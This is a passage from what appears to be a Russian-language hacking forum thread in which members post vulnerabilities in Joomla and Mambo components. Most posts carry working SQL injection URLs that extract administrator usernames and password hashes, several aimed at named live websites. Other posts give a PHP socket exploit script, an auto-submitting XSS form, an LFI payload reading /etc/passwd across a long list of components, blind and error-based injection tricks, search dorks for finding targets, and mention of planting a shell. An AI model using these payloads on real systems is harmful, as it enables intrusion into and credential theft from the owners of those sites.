Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

  1. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Joomla com_hbstopdestinations SQL-inj

    Joomla com_hbstopdestinations SQL-inj vuln
    Этот компоненты специально для отелей, не очень популярен...
    Exploit:
    index.php?option=com_hbstopdestinations&task=details&h_id=-50+union+select+1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9--&cId=&sId=&cityId=&f_date=&t_date=
    POC:
    http://zambiatourismnews.com/index.php?option=com_hbstopdestinations&task=details&h_id=-50+union+select+1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9--&cId=&sId=&cityId=&f_date=&t_date=
    Код не покажу, так как не залился)
     
    2 people like this.
  2. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    com_tweetports SQL-Injection (1.5 && 1.6)

    tweetports.helper.php
    PHP:
    ...
        function 
    existLocationName($name) {
            
    $db    =& JFactory::getDBO();
            
    $query "SELECT id FROM #__tweetports_geocodes WHERE location = '".$name."'";
            
    $db->setQuery($query);
            
    $addressID $db->loadResult();
            
            return 
    $addressID;
        }
    ...
        function 
    existAddress($address) {
            
    $db    =& JFactory::getDBO();
            
    $query "SELECT id FROM #__tweetports_geocodes WHERE address = '".$address."'";
            
    $db->setQuery($query);
            
    $addressID $db->loadResult();
            
            return 
    $addressID;
        }
    ....
    locations.php
    PHP:
    class TweetportsModelLocations extends JModel
    {
    ....
        function 
    saveLocation () {
            
            if (isset(
    $_POST['Submit']) && $_POST['Submit'] == "Save") {  
            
                
    $nameID TweetportsHelper::existLocationName($_POST['locationname']);
                
    $addressID TweetportsHelper::existAddress($_POST['locationaddress']);
                
    $hashtagID TweetportsHelper::existHashtag($_POST['locationhashtag']);
                
                if (
    $addressID 0) {
                    
    $notice "Address already exists!  Please try another port.";
                } else if (
    $hashtagID 0) {
                    
    $notice "Hashtag already exists!  Please try another Hashtag.";
                } else if (
    $nameID 0) {
                    
    $notice "Location Name already exists!  Please try another Hashtag.";
                } else {
                    
    TweetportsHelper::addLocation($_POST['locationname'], $_POST['locationaddress'], $_POST['locationhashtag']);
                    
    $notice JText::_("LOCATION THANKS");
                }
            }
            return 
    $notice
        }
    ....
    }
    exploit:
    PHP:
    <?php
    <?php
    $sock 
    fsockopen("www.j15.com"443$errno$errstr30);
    if (!
    $sock) die("$errstr ($errno)\n");
    $data "locationname=" urlencode("antichat+union+select+group_concat(username,0x3a,password+SEPARATOR+0x3c62723e)+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72") . "&locationaddress=Russian&locationhashtag=Federation";
    fwrite($sock"POST /index.php HTTP/1.1\r\n");
    fwrite($sock"Host: j15.com\r\n");
    fwrite($sock"Content-type: application/x-www-form-urlencoded\r\n");
    fwrite($sock"Content-length: " strlen($data) . "\r\n");
    fwrite($sock"Accept: */*\r\n");
    fwrite($sock"\r\n");
    fwrite($sock"$data\r\n");
    fwrite($sock"\r\n");

    $body "";
    while (!
    feof($sock)) $body .= fgets($sock4096);
    preg_match_all("/.*?:\w{32}:\w{10,40}/i"$body$hash);
    if (
    $hash[0]) print_r($hash[0]);
    fclose($sock);
    ?> 

    com_mediaideamultilist sql-inj (1.5&1.6) [p.s. мож уже начнем версии двига писать(под которые компонент или модуль заточен)?!]

    vulner files dbfuncs.php & standardlist & helpers.php
    PHP:
    не влезли
    зато exploit безотказен
    PHP:
    index.php?option=com_mediaideamultilist&controller=helpers&format=raw&task=getField&tarId=
    -
    666+UNION+SELECT+1,2,3,4,5,6,7,8,
    group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),
    10,11,12,13,14,15,16+from+jos_users+where+
    usertype=0x53757065722041646D696E6973747261746F72--
     
    #222 Moriarty, 24 Aug 2011
    Last edited: 30 Sep 2011
    3 people like this.
  3. DeleTeeeX

    DeleTeeeX New Member

    Joined:
    19 May 2011
    Messages:
    26
    Likes Received:
    2
    Reputations:
    -1
  4. [ STEF ]

    [ STEF ] Member

    Joined:
    19 Aug 2011
    Messages:
    69
    Likes Received:
    36
    Reputations:
    3
    XSS vulnerability in JComments

    Уязвимые верси: 2.1.0.0 [07/08/2009] и, возможно, ранние
    Уведомление JoomlaTune.com: 4 Июня 2011
    Тип уязвимости: XSS
    Статус: исправлено JoomlaTune.com
    Степень опасности: Средний
    Детали уязвимости: пользователь может выполнить произвольный JS код в уязвимом приложении. Уязвимость возникает из-за неправильной идентификации пользователя в "admin.jcomments.php". Успешное проведение атаки с помощью данной уязвимости может привести к потере конфиденциальных данных и краже идентификационной информации в виде куков.

    Атакующий может использовать браузер для проведения атаки:
    Код:
    <form method="POST" action="http://joomla/administrator/index.php" name="main">
    <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
    <input type="hidden" name="email" value="[email protected]">
    <input type="hidden" name="comment" value="comment text">
    <input type="hidden" name="published" value="1">
    <input type="hidden" name="option" value="com_jcomments">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="task" value="save">
    </form>
    <script>
    document.main.submit();
    </script>

    Решение: обновление к более поздней версии
     
  5. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    Понеслась...

    1 :: com_messaging :: SQL-inj && v1.5

    com_messaging.php
    PHP:
    ...
    require_once( 
    dirname(__FILE__).DS.'helper.php' );
    ...
    $params['id'] = $_GET['mesuid'];
    ...
    $messages modMessagingHelper::getMessaging$params );
    ...
    helper.php
    PHP:
    <?php
    class modMessagingHelper
    {
        function 
    getMessaging$params )
        {
            
    $user $params;
            if(
    $user->guest){
                return -
    1;
            }else{
                
    $query " SELECT * FROM #__messaging WHERE idTo='{$user['id']}' AND seen=0 ORDER BY date DESC";
                
    $_db = &JFactory::getDBO();
                
    $_db->setQuery$query );
                
    $data $_db->loadObjectList();
                return 
    sizeof($data);
            }
        }
    }
    ?>
    exploit:
    PHP:
    http://j15/index.php?option=com_messaging&view=message&mesuid=-666++union+select+1,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),3,4,5,6,7,8,9+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72--
    2 :: com_azcontentlist :: SQL-inj && v1.5

    azcontentlist.php
    PHP:
    ...
            
    $date = new JDate();
            
    $now $date->toMySQL();
            
    $database =& JFactory::getDBO();
            
    $nullDate       $database->getNullDate();
            
    $database->setQuery("SELECT c.title AS title, c.id, c.catid, c.sectionid, cc.title AS category, s.title AS section FROM #__content AS c"
                            
    ' LEFT JOIN #__categories AS cc ON cc.id = c.catid'
                             
    ' LEFT JOIN #__sections AS s ON s.id = c.sectionid'
                            
    " WHERE c.access = 0 AND c.state = 1"
                            
    ' AND cc.access = 0'
                            
    ' AND s.access = 0'
                            
    " AND ( publish_up = " $_GET['date'] . " OR publish_up <= " $database->Quote$now ) . " )"
                            
    " ORDER BY title"
            
    );
            
    $results $database->loadAssocList();
            echo 
    '<p class="componentheading">A-Z Site Map</p>';
            echo 
    '<ul>';
            foreach(
    $results as $result) {
                    
    //$app =& JFactory::getApplication();
                    //$Itemid = $app->getItemid( $result['id'] );
    ...
    exploit:
    PHP:
    http://j15/index.php?option=com_azcontentlist&view=title&cat=3&date=-666++union+select+1,2,3,4,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),6,7+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72--
    3 :: Jootags component :: SQL-inj && v1.5

    tags.php
    PHP:
    ...
        function 
    getTagByTitle($title) {
            
            
    $query ' SELECT t.id '
                
    ' FROM #__jootags_tags AS t '
                
    " WHERE t.title='$title'";
            
    $this->_db->setQuery($query);
            
            return 
    $this->_db->LoadResult();        
        }
    ...
    controller.php
    PHP:
    ...
            
    $document =& JFactory::getDocument();

            
    $viewType    $document->getType();
            
    $viewName    JRequest::getCmd'view'$this->getName() );
            
    $viewLayout    JRequest::getCmd'layout''default' );

            
    $params     =  JComponentHelper::getParams('com_jootags');;
            
    $view = & $this->getView$viewName$viewType'', array( 'base_path'=>$this->_basePath));

            if (
    $model = & $this->getModel('tags')) {
                
    $view->setModel($modeltrue);
            }
    =====>>>>    list(
    $tag_id$tag_title) = $model->getTagByTitle($_GET['tag']);
            
            
    $items null;
            if (
    $tag_id) {
                
    $items $model->getData($tag_id$limitstart$limit);
                
    $document->setTitle($tag_title);
            } else {
                
    $document->setTitle(JText::_('Tags'));
            }
            
    $view->setLayout($viewLayout);        
            
    $view->display($items$params);
    ...
    exploit:
    PHP:
    http://j15/index.php?option=com_jootags&itemid=8&view=model&tag=-666++union+select+1,2,3,4,5,6,7,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),9,10,11,12+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72--


    Достаем url ресурса из БД.

    Кто знает - поймет. Ох сколько я мучался найдя таблицы джумлы в базе, на которую ссылается, к примеру, какой-нибудь wp'шный сайт. И как всегда - ответ перед носом!

    SELECT link FROM jos_menu WHERE alias = adminlink [version 1.5]

    На выходе увидите урл админки, конечно же с текущим ресурсом!

    p.s. z0mbyak, если ты это знал и не запостил где-нить...ц...на сколько ж я ресурсов забил из-за этого...ты бы знал...

    ============

    UPDATE #1

    Такс...то что выше - это для версии 1.5

    SELECT link FROM jos_menu WHERE title = admin [version 1.6]

    ============

    UPDATE #2 (метод для всех веток)

    Code:
    SELECT name FROM u158069.joomla_menu LIMIT 0,1 (а)
    
    SELECT link FROM u158069.joomla_menu LIMIT 0,1 (b)
    Code:
    dork: inurl:b intext:a
     
    #225 Moriarty, 4 Sep 2011
    Last edited: 30 Sep 2011
    2 people like this.
  6. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    com_email-directory SQL-inj [1.5 && 1.6]

    image.php
    PHP:
    if (isset($_GET['id']) && ($_GET['id'] > 0)) {
        
    // formula string
        
    $id $_GET['id'];
        
    $link mysql_connect($mosConfig_host$mosConfig_user$mosConfig_password) or die ("Could not connect");
        
    mysql_select_db ($mosConfig_db) or die ("Could not select database");
        
    $query "SELECT email FROM {$mosConfig_dbprefix}emails_list WHERE id='$id'";
        
    $result mysql_query($query) or die("MySQL query: ".$query." failed with error: ".mysql_error());
        
    $row mysql_fetch_object($result);
        
    $string $row->email;
    } else {
        
    $string "";
    }
    ...
    exploit:
    Code:
    http://j15/index.php?option=com_emaildirectory&nshow=image&view=photos&id=-666++union+select+group_concat(username,0x3a,password+SEPARATOR+0x3c62723e)+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72--  
    
    com_eventsmailer SQL-inj in LIMIT [1.5]

    simpleshow.php
    PHP:
    ...
        function 
    getAdminSettings() {
            
    $database =& JFactory::getDBO();
            
    $query "SELECT * FROM #__eventsmailer LIMIT $_GET['max']";
        
            
    $database->setQuery$query );
            
    $res $database->loadObjectList();
        
            
    $settings = array();
        
            foreach(
    $res[0] as $key => $value) {
                
    $settings[$key] = $value;
            }
        
            return 
    $settings;
        }
    ...
    exploit:
    Code:
    http://j15/index.php?option=com_eventsmailer&view=events&max=-666666666++union+select+1,2,3,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),5,6,7+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72--  
    
    com_greetbox SQL-inj in LIMIT [1.5 && 1.6]

    funcs.php
    PHP:
    ...
        
    $db =& JFactory::getDBO();
        
    $component_params JComponentHelper::getParams('com_greetbox');
        
    $greeting $component_params->get('default_greeting');
        
    $fromsite $_SERVER['HTTP_REFERER'];

        
    $query "select * from #__greetbox LIMIT $_GET['mva'l]";
        
    $db->setQuery($query);
        
    $myrows $db->loadObjectList();

        foreach(
    $myrows as $myrow){
            
    $pattern preg_quote($myrow->pattern'/');
            if(
    preg_match("/$pattern/"$fromsite)){
                
    $greeting $myrow->greeting;
                break;
            }
        }
    ...
    exploit:
    Code:
    http://j15/index.php?option=com_greetbox&view=boxes&mval=-999999999+union+select+1,2,3,4,5,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),7,8,9+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72--  
    
     
    3 people like this.
  7. silveran

    silveran Фрикер

    Joined:
    2 May 2005
    Messages:
    771
    Likes Received:
    7
    Reputations:
    2
    http://www.exploit-db.com/exploits/16992/

    кто подскажет как пользоваться этим? если можно более детально, ...
    С Уважением Силверан...
     
  8. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    http://site/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=(select(max(1))from(mysql.user)group+by(concat(version(),0x00,floor(rand(0)*2))))--+&filter_order_Dir=2&limit=3&limitstart=4
     
    _________________________
  9. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    com_amdownloader sql-inj

    vurnel.param: pathid
    Code:
    http://adatmagus.hu/jm/index.php?option=com_amdownloader&task=showfiles&[COLOR=Red][B]pathid=-8 UNION SELECT 1,2,group_concat(username,0x3a,password separator 0x3c62723e),4 from jos_users -- [/B][/COLOR]
     
  10. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Blind SQL Injection в Joomla <= Все версии
    Уязвимость в встроенном компоненте "blog calendar".
    (Он вроде встроенный..)
    Exploit:
    Code:
    http://www.site.ru/component/blog_calendar/?year=xxxx&month=xx&modid=xx
    Уязвимый параметр: modid :)

    Example:
    True
    False
    -----------------------------------------------------------
    (c) By Osstudio & Er9j6@.

    З.Ы С новым годом!
     
    5 people like this.
  11. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Нет, не встроенный. Уязвимый код(вроде) в view.html.php
    PHP:
    ...
    if(
    $modid){ //if the component is called from the a Blog Calendar module, load the parameters of that module
    $query 'SELECT params'
    ' FROM #__modules'
    ' WHERE id = ' $modid;
    ...
    Dork: inurl:component/blog_calendar/

    P.S.
    FALSE
    Code:
    http://meirbruk.net/en/component/blog_calendar/?year=2011&month=09&modid=250+union+select+1,2--+f
    TRUE
    Code:
    http://meirbruk.net/en/component/blog_calendar/?year=2011&month=09&modid=250+union+select+1--+f
    Увидев это попробовал error-based, как ни странно, пашет все:
    Code:
    http://meirbruk.net/en/component/blog_calendar/?year=2011&month=09&modid=250+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
    Результат:
    Code:
    Duplicate entry 'COLLATIONS1' for key
    Вывод, если включен дебаг, то можно обойтись без blind. Сейчас залью шелл и посмотрю версию на сайте выше...

    UPD. При error-based, как известно, выводится 64 символов. А в joomla hash:salt имеет длину в 65 символов :D Вот такая ирония, юзайте blind...
     
    #231 Ereee, 1 Jan 2012
    Last edited: 1 Jan 2012
    1 person likes this.
  12. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Я через еrror-based вывел имена, вот тебе блиндом кручу админский пасс :D
     
  13. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Можно вырезать подстроку, если поле > 64 символов, функциями substring(), mid().

    Пример:

    Достаем логин и хеш
    Code:
    Post _ttp://meirbruk.net/en/component/blog_calendar/?year=2011&month=09 Http/1.0
    modid=(@:=1)or@+group+by+concat((select+concat(username,0x3a,mid(password,1,33))+from+jos_users+limit+0,1),0x00,@:=!@)having@||min(0)--+
    достаем соль
    Code:
    modid=(@:=1)or@+group+by+concat((select+mid(password,33,33)+from+jos_users+limit+0,1),0x00,@:=!@)having@||min(0)--+
     
    5 people like this.
  14. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    LFI

    Во многих компонентах Joomla в параметре controller обнаружена LFI-уязвимость. Список уязвимых компонентов:
    Code:
    com_bca-rss-syndicator
    com_ccnewsletter
    com_ckforms
    com_cvmaker
    com_datafeeds
    com_dioneformwizard
    com_dwgraphs
    com_fabrik
    com_gadgetfactory
    com_ganalytics
    com_gcalendar
    com_hsconfig
    com_if_surfalert
    com_janews
    com_jfeedback
    com_joomlapicasa2
    com_joomlaupdater
    com_joommail
    com_jshopping
    com_juliaportfolio
    com_jvehicles
    com_jwhmcs
    com_linkr
    com_mediqna
    com_mmsblog
    com_mscomment
    com_mtfireeagle
    com_ninjarsssyndicator
    com_onlineexam
    com_orgchart
    com_pcchess
    com_properties
    com_rokdownloads
    com_rpx
    com_s5clanroster
    com_sbsfile
    com_sectionex
    com_shoutbox
    com_simpledownload
    com_smestorage
    com_spsnewsletter
    com_svmap
    com_sweetykeeper
    com_userstatus
    com_webeecomment
    com_weberpcustomer
    com_zimbcomment
    Эксплуатация:
    Code:
    http://site/index.php?option=имя_компонента&controller=../../etc/passwd%00
    Dork: inurl:index.php?option=имя_компонента

    Источник

    P.S. В нете по чуть-чуть выкладивали вроде.
     
    1 person likes this.
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    com_aquiz

    Blind SQL Injection в Joomla
    Уязвимость в компоненте для тестов "com_aquiz".
    Exploit:
    Code:
    http://site.ru/index.php?option=com_aquiz&task=take&quizid=1885+and+/*!mid(version(),1,1)=5*/+--+
    Уязвимый параметр: quizid

    Example:
    -----------------------------------------------------------
    (c) By winstrool
     
    _________________________
    3 people like this.
  16. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Joomla "com_as" component SQL Injection

    Уязвим параметр prodid, что позволяет провести SQL-injection.

    Эксплyатация:
    Code:
    http://site.ltd/index.php?option=com_as&as=200&page=1&prodid=-5+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+f
    Код:
    PHP:
    $query "SELECT " $select .
          
    "\n FROM " $from    .
             
    "\n WHERE id = ".$var[0]->prod_id;
    PoC:
    Code:
    http://www.hawa-verpackung.de/index.php?option=com_as&as=200&page=1&prodid=-5+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+f
    © Ereee​
     
    #236 Ereee, 14 Jan 2012
    Last edited: 15 Jan 2012
    2 people like this.
  17. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Joomla "com_dir" component SQL Injection

    Уязвим параметр id, что позволяет провести SQL-injection. Уязвимый код не смотрел, так как хэш не расшифровал. Скоро выложу.

    Эксплyатация:
    Code:
    http://site.ltd/index.php?option=com_dir&task=show&id=-381+union+select+1,version(),3,database(),user(),concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+limit+0,1--+f
    PoC:
    Code:
    http://quicaqui.com/index.php?option=com_dir&task=show&id=-381+union+select+1,version(),3,database(),user(),concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+limit+0,1--+f
    © Ereee​
     
    2 people like this.
  18. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    com_as_shop

    MySQL Injection в Joomla
    Уязвимость в модуле "com_as_shop".
    Exploit:
    Code:
    http://site.ru/index.php?option=com_as_shop&cmd=gbc&id=-1+union+select+1,concat(username,0x3a,password,0x3a,usertype),3+from+jos_users+--+
    Уязвимый параметр: id

    Example:
    Уязвимые места в коде: components/com_as_shop/controllers/goods.php

    PHP:
    function getGNameById($id)
        {
            
    /// Joomla ver28.10.2010    
            
    $this->db  =& JFactory::getDBO();;
            
    $sSQL ="SELECT * FROM `#__as_goods` WHERE `id` =".$id;

            
    $rs $this->db->setQuery($sSQL);
            
    $rw $this->db->loadObjectList();
            
    $rw $rw[0];
            return 
    $rw->name
        }
        function 
    getGArticleById($id)
        {
            
    /// Joomla ver28.10.2010    
            
    $this->db  =& JFactory::getDBO();;

            
    $sSQL ="SELECT * FROM `#__as_goods` WHERE `id` =".$id;

            
    $rs $this->db->setQuery($sSQL);
            
    $rw $this->db->loadObjectList();
            
    $rw $rw[0];
            return 
    $rw->article
        }

        function 
    getGPriceById($id)
        {
            
    /// Joomla ver28.10.2010    
            
    $this->db  =& JFactory::getDBO();;

            
    $sSQL ="SELECT * FROM `#__as_goods` WHERE `id` =".$id;

            
    $rs $this->db->setQuery($sSQL);
            
    $rw $this->db->loadObjectList();
            
    $rw $rw[0];

            return 
    $rw->price
        }
    как видем версия компанента датирована от 28.10.2010

    -----------------------------------------------------------
    (c) By winstrool
     
    _________________________
    3 people like this.
  19. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Joomla "com_msg" component SQL Injection

    Уязвим параметр Itemid, что позволяет провести SQL-injection. Не путать этот модуль с модулем обратной связи.

    Эксплyатация:
    Code:
    http://site.ltd/index.php?option=com_msg&view=inhalte&Itemid=-15+union+select+version()--+g
    Открываем исходный код страницы, видим:
    Code:
    wechsel("[COLOR=Lime]5.1.49-3~bpo50+1-log[/COLOR]");
    PoC:
    Code:
    http://www.msg-wintergaerten.de/index.php?option=com_msg&view=inhalte&Itemid=-15+union+select+version()--+g
    © Ereee​
     
    4 people like this.
  20. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Joomla "com_vid" component SQL Injection

    Уязвим параметр id, что позволяет провести SQL-injection.

    Эксплyатация:
    Code:
    http://site.ltd/index.php?option=com_vid&Itemid=60&section=video&id_catigor=1&id=-1+union+select+1,2,version(),database(),5,6,7--+f
    PoC:
    Code:
    http://sasha-shmel.ru/index.php?option=com_vid&Itemid=60&section=video&id_catigor=1&id=-1+union+select+1,2,version(),database(),5,6,7--+f
    ---

    Joomla "com_club" component SQL Injection

    Уязвим параметр clubid, что позволяет провести SQL-injection.

    Dork:
    Code:
    inurl:"?option=com_club"
    Результатов: примерно 21 000, страница 4 (0,30 сек.)

    Эксплyатация:
    Code:
    http://site.ltd/index.php?option=com_club&task=detail&clubid=-70002+union+select+version(),database(),3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+f
    PoC:
    Code:
    http://vbl.badmintonliga.be/index.php?option=com_club&task=detail&clubid=-70002+union+select+version(),database(),3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+f
    © Ereee​
     
    #240 Ereee, 16 Jan 2012
    Last edited: 16 Jan 2012
    2 people like this.